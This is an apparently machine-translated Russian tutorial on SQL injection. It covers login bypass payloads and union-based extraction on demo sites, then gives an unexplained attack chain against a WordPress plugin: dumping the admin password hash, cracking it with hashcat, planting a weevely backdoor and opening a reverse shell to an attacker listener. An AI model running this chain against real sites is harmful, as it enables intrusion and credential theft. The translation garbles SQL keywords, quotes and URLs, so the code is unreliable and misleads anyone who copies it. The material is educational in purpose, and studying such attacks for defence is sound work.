SQL Injection (SQLi) — это тип атаки с использованием инъекций, позволяющий выполнять вредоносные операторы SQL. Эти операторы управляют сервером базы данных за веб-приложением. Злоумышленники могут использовать уязвимости SQL Injection, чтобы обойти меры безопасности приложений.Они могут обходить аутентификацию и авторизацию веб-страницы или веб-приложения и извлекать содержимое всей базы данных SQL. Они также могут использовать SQL-инъекцию для добавления, изменения и удаления записей в базе данных.

Уязвимость внедрения SQL-кода может затронуть любой веб-сайт или веб-приложение, использующее базу данных SQL, например MySQL, Oracle, SQL Server или другие. Преступники могут использовать его для получения несанкционированного доступа к вашим конфиденциальным данным: информации о клиентах, личным данным, коммерческой тайне, интеллектуальной собственности и т. Д.Атаки с использованием SQL-инъекций — одна из старейших, наиболее распространенных и самых опасных уязвимостей веб-приложений. Организация OWASP (Open Web Application Security Project) перечисляет инъекции в своем документе OWASP Top 10 2017 как угрозу номер один для безопасности веб-приложений.

Как и почему выполняется атака с использованием SQL-инъекции

Чтобы совершить атаку с использованием SQL-инъекции, злоумышленник должен сначала найти уязвимые пользовательские данные на веб-странице или в веб-приложении. Веб-страница или веб-приложение, имеющее уязвимость SQL-инъекции, использует такой пользовательский ввод непосредственно в SQL-запросе.Злоумышленник может создавать входной контент. Такой контент часто называют вредоносной полезной нагрузкой и является ключевым элементом атаки. После того, как злоумышленник отправит это содержимое, в базе данных выполняются вредоносные команды SQL.

SQL — это язык запросов, который был разработан для управления данными, хранящимися в реляционных базах данных. Вы можете использовать его для доступа, изменения и удаления данных. Многие веб-приложения и веб-сайты хранят все данные в базах данных SQL. В некоторых случаях вы также можете использовать команды SQL для выполнения команд операционной системы.Следовательно, успешная атака с использованием SQL-инъекции может иметь очень серьезные последствия.

• Злоумышленники могут использовать SQL-инъекции для поиска учетных данных других пользователей в базе данных. Затем они могут выдавать себя за этих пользователей. Выдающийся пользователь может быть администратором базы данных со всеми привилегиями базы данных.
• SQL позволяет выбирать и выводить данные из базы данных. Уязвимость SQL-инъекции может позволить злоумышленнику получить полный доступ ко всем данным на сервере базы данных.
• SQL также позволяет изменять данные в базе данных и добавлять новые данные.Например, в финансовом приложении злоумышленник может использовать SQL-инъекцию для изменения балансов, аннулирования транзакций или перевода денег на свой счет.
• Вы можете использовать SQL для удаления записей из базы данных, даже для удаления таблиц. Даже если администратор создает резервные копии базы данных, удаление данных может повлиять на доступность приложения до тех пор, пока база данных не будет восстановлена. Кроме того, резервные копии могут не охватывать самые свежие данные.
• На некоторых серверах баз данных вы можете получить доступ к операционной системе с помощью сервера баз данных.Это может быть намеренно или случайно. В таком случае злоумышленник может использовать SQL-инъекцию в качестве исходного вектора, а затем атаковать внутреннюю сеть за брандмауэром.

Существует несколько типов атак SQL Injection: внутриполосный SQLi (с использованием ошибок базы данных или команд UNION), слепой SQLi и внеполосный SQLi. Вы можете узнать больше о них в следующих статьях: Типы SQL-инъекций (SQLi), Слепые SQL-инъекции: что это такое.

Чтобы шаг за шагом проследить, как выполняется атака с использованием SQL-инъекции и какие серьезные последствия она может иметь, см. Использование SQL-инъекции: практический пример.

Пример простой SQL-инъекции

Первый пример очень простой. Он показывает, как злоумышленник может использовать уязвимость SQL Injection, чтобы обойти безопасность приложения и пройти аутентификацию в качестве администратора.

Следующий сценарий представляет собой псевдокод, выполняемый на веб-сервере. Это простой пример аутентификации с использованием имени пользователя и пароля. В примере базы данных есть таблица с именем пользователей со следующими столбцами: имя пользователя и пароль .

  # Определить переменные POST
  uname = request.POST ['имя пользователя'] 
  passwd = request.POST ['пароль'] 

# SQL-запрос уязвим для SQLi
sql = «ВЫБРАТЬ ИД ОТ пользователей ГДЕ username =’ »+  uname  +« ’AND password =’ »+  passwd  +« ’»

# Выполнить инструкцию SQL
база данных.execute (sql)  

Эти поля ввода уязвимы для SQL-инъекции. Злоумышленник может использовать команды SQL во входных данных таким образом, чтобы изменить инструкцию SQL, выполняемую сервером базы данных.Например, они могут использовать трюк с одинарной кавычкой и установить в поле passwd значение:

  пароль 'ИЛИ 1 = 1  

В результате сервер базы данных выполняет следующий SQL-запрос:

  ВЫБРАТЬ идентификатор ИЗ пользователей, ГДЕ имя пользователя = 'имя пользователя' И пароль =  'пароль' ИЛИ ​​1 = 1  ' 

Из-за оператора OR 1 = 1 предложение WHERE возвращает первый id из таблицы пользователей независимо от имени пользователя и пароля .Первый пользователь с идентификатором в базе данных очень часто является администратором. Таким образом злоумышленник не только обходит аутентификацию, но и получает права администратора. Они также могут закомментировать остальную часть оператора SQL для дальнейшего управления выполнением запроса SQL:

  - MySQL, MSSQL, Oracle, PostgreSQL, SQLite
'ИЛИ' 1 '=' 1 ' - 
'ИЛИ' 1 '=' 1 ' / * 
- MySQL
'ИЛИ' 1 '=' 1 ' # 
- Доступ (с использованием нулевых символов)
'ИЛИ' 1 '=' 1 '% 00 
'ИЛИ' 1 '=' 1 '% 16   

Пример внедрения SQL на основе объединения

Один из наиболее распространенных типов SQL-инъекций использует оператор UNION.Это позволяет злоумышленнику объединить результаты двух или более операторов SELECT в один результат. Этот метод называется SQL-инъекцией на основе объединения .

Ниже приведен пример этой техники. Он использует веб-страницу testphp.vulnweb.com , преднамеренно уязвимый веб-сайт, размещенный на Acunetix.

Следующий HTTP-запрос является обычным запросом, который отправляет законный пользователь:

  ПОЛУЧИТЬ http://testphp.vulnweb.com/artists.php?artist=  1  HTTP / 1.1
Хост: testphp.vulnweb.com  

Параметр Artist уязвим для внедрения SQL. Следующая полезная нагрузка изменяет запрос для поиска несуществующей записи. Он устанавливает значение в строке запроса URL равным -1 . Конечно, это может быть любое другое значение, которого нет в базе данных. Однако отрицательное значение - хорошее предположение, потому что идентификатор в базе данных редко бывает отрицательным числом.

В SQL Injection оператор UNION обычно используется для присоединения вредоносного SQL-запроса к исходному запросу, предназначенному для выполнения веб-приложением.Результат введенного запроса будет объединен с результатом исходного запроса. Это позволяет злоумышленнику получать значения столбцов из других таблиц.

  GET http://testphp.vulnweb.com/artists.php?artist= -1 UNION SELECT 1, 2, 3  HTTP / 1.1
Хост: testphp.vulnweb.com  

В следующем примере показано, как можно использовать полезную нагрузку SQL Injection для получения более значимых данных с этого намеренно уязвимого сайта:

  ПОЛУЧИТЬ http: // testphp.vulnweb.com/artists.php?artist=  -1 UNION SELECT 1, pass, cc FROM users WHERE uname = 'test'  HTTP / 1.1
Хост: testphp.vulnweb.com  

  http: //acunetix.php.example/show.php? Article = 1  

  // Параметр article назначается переменной $ article без какой-либо очистки или проверки
$ articleid = $ _GET ["статья"];
// Параметр $ articleid передается как часть запроса
$ query = "ВЫБРАТЬ * ИЗ статей ГДЕ articleid = $ articleid";  

  $ query = "ВЫБРАТЬ * ИЗ статей, ГДЕ articleid = 1 И 1 = 1";  

  http: //acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php? User = 1  

  http: // acunetix.php.example / wordpress / wp-content / plugins / demo_vul / endpoint.php? user = 1 ’ 

  http: //acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php? user = 1  + ЗАКАЗ + BY + 10   

  http: //acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php? User = 1  + ЗАКАЗ + BY + 11   

  http: //acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php? User = -1  + union + select + 1,2,3,4,5,6,7, 8,9,10   

  http: // acunetix.php.example / wordpress / wp-content / plugins / demo_vul / endpoint.php? user = -1  + union + select + 1,2,3,4,5,6,7,8,9, версия ()   

  http: //acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php? User = -1 + union + select + 1,2,3,4,5,6,7,8 , 9, ( SELECT + group_concat (имя_таблицы) + from + information_schema.tables + where + table_schema = database () )  

  http: //acunetix.php.example/wordpress/wp-content/plugins/demo_vul/endpoint.php? User = -1 + union + select + 1,2,3,4,5,6,7,8 , 9, ( SELECT + user_pass + FROM + wp_users + WHERE + ID = 1 )  

  hashcat64  -m 400  -a  0 hash.txt wordlist.txt
  -m  = тип хеша, который мы хотим взломать. 400  - тип хэша для WordPress (MD5)
  -a  = режим атаки. 0 - это  Словарь (или Прямая) Атака 
  hash.txt  = файл, содержащий хеш, который мы хотим взломать
  wordlist.txt  = файл, содержащий список паролей в виде открытого текста  

  secuser @ secureserver: ~ / weevely3-master #./weevely.py сгенерировать abcd123 agent.php
-> Создан бэкдор с паролем abcd123 в agent.php размером 1332 байта.  

  Использование: ./weevely.py [URL] [AGENT_PASSWORD]
корень @ secureserver: ~ / weevely3-master # ./weevely.py http: //acunetix.php.example/wordpress/ abcd123  

  корень @ secureserver: ~ / weevely3-master # nc -l -v -p 8181
слушает [любой] 8181...  

  www-data @ targetmachine: / var / www / html / wordpress $ backdoor_reversetcp 192.168.2.112 8181
с html / wordpress $